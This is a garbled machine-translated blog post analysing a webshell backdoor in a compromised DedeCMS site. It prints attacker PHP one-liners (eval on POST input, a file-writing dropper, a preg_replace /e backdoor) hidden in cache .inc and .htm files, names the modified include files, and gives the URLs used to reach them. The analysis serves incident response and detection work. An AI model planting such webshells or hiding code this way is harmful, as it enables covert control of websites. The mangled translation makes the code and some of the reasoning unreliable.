Dedecms-webshell backdoor Analysis

Dedecms used by a certain organization is hacked and widened by getshell today.
In order to restore the method of hacking, The getshell test by ghost Brother was not successful. Is it true that the getshell won't be successful once?

Instead, you can only package the code. You can use various webshell scanners to scan only one data/tplcache/xxxxx. inc file. The file code is as follows:

{Dede: php} file_put_contents ('90sec. php', '<? Php eval ($ _ POST [guige]);?> '); {/Dede: php}

But the 90sec. php file was not found in all the Web directories. Some friends suggested that it may be another file, include this file. Then, I used Seay's code audit tool to define various keywords, but I still couldn't find them.

Finally, the boss turned to the data/cachedirectory and found several htmfiles, such as myad-1.htm, myad-16.htm, and mytag-1208.htm. The code for opening these html files is as follows:

<! -

Document. write ("dedecmsisok <? Php @ eval ($ _ POST [cmd]);?> ");
->

 

<! -

Document. write ("<? Php $ fp = @ fopen ('av. php', 'A'); @ fwrite ($ fp, '<? Php eval ($ _ POST [110])?> Axxx'); echo 'OK'; @ fclose ($ fp) ;?> ");

->

 

<! -
Document. write ("<? Php echo 'dedecms 5.7 0day <br> guige, 90sec.org '; @ preg_replace ('/[copyright]/E', $ _ REQUEST ['guige '], 'error');?> ");
->

It's strange to see these files. I don't know what the hacker wants to do ?? Although the Code seems familiar, can HTML files be used as backdoors? Think of the include mentioned by a friend, and then combine the getshell vulnerability exploitation details of some time ago to finally go to the plus/mytag_js.php file. In this file, I finally find that there is no such thing as a piece of code, the main code is as follows:

When we see the above Code, we should know how evil the black and white are. Write various types of code in the generated htm format cache file, and then modify the plus/ad_js.php and mytag_js.php files, contains cache files in htm format. In this way, you only need to enter the following URL in the kitchen knife to connect to a sentence.

Http://www.nxadmin.com/plus/mytag_js.php? Id = 1208

Http://www.nxadmin.com/plus/ad_js.php? Id = 1

The specific id and file name are related to myad-1.htmand mytag-1208.htm in the data/cachedirectory. Therefore, all kinds of webshell scanners do not scan webshell backdoor files, because many default do not scan htm.

I don't know much about php, so there may be errors in analysis. please correct me! I have suffered severe hearing loss due to Otitis media recently. The boss told me something that I didn't hear clearly. The pressure is so high! Perform surgery next week